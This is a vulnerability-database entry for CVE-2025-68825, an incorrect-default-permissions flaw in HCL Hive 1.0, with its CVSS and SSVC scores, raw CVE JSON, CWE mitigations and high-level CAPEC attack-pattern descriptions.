"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77",
"automated": true,
"contentSha256": "eda9b97373cfa1b602256c1f71b15efde5a40742aa2d77e5e851378506b0282e",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/77",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T19:37:52Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-11T11:52:12Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0082"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-68825 (GCVE-0-2025-68825)
Vulnerability from cvelistv5 – Published: 2026-08-24 15:37 – Updated: 2026-08-24 20:22
VLAI
EPSS
VEX
Title
HCL Hive is affected by incorrect default permissions
Summary
HCL Hive is affected by incorrect default permissions which could allow an attacker unauthorized lateral movement, container breakout, and interception of sensitive internal communications.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-24 20:22 UTC
CWE
- CWE-276 - Incorrect default permissions
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| HCLSoftware | HCL Hive |
Affected:
1.0
|
Date Public
2026-08-24 12:10
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-68825",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-24T20:22:27.346158Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-24T20:22:57.951Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "HCL Hive",
"vendor": "HCLSoftware",
"versions": [
{
"status": "affected",
"version": "1.0"
}
]
}
],
"datePublic": "2026-08-24T12:10:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "HCL Hive is affected by incorrect default permissions which could allow an attacker unauthorized lateral movement, container breakout, and interception of sensitive internal communications.\u003cbr\u003e"
}
],
"value": "HCL Hive is affected by incorrect default permissions which could allow an attacker unauthorized lateral movement, container breakout, and interception of sensitive internal communications."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276 Incorrect default permissions",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-24T15:37:00.819Z",
"orgId": "1e47fe04-f25f-42fa-b674-36de2c5e3cfc",
"shortName": "HCL"
},
"references": [
{
"url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0131731"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "HCL Hive is affected by incorrect default permissions",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "1e47fe04-f25f-42fa-b674-36de2c5e3cfc",
"assignerShortName": "HCL",
"cveId": "CVE-2025-68825",
"datePublished": "2026-08-24T15:37:00.819Z",
"dateReserved": "2025-12-24T13:23:45.321Z",
"dateUpdated": "2026-08-24T20:22:57.951Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Mitigation MIT-1
Architecture and Design
Operation
The architecture needs to access and modification attributes for files to only those users who actually require those actions.
Mitigation MIT-46
Architecture and Design
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.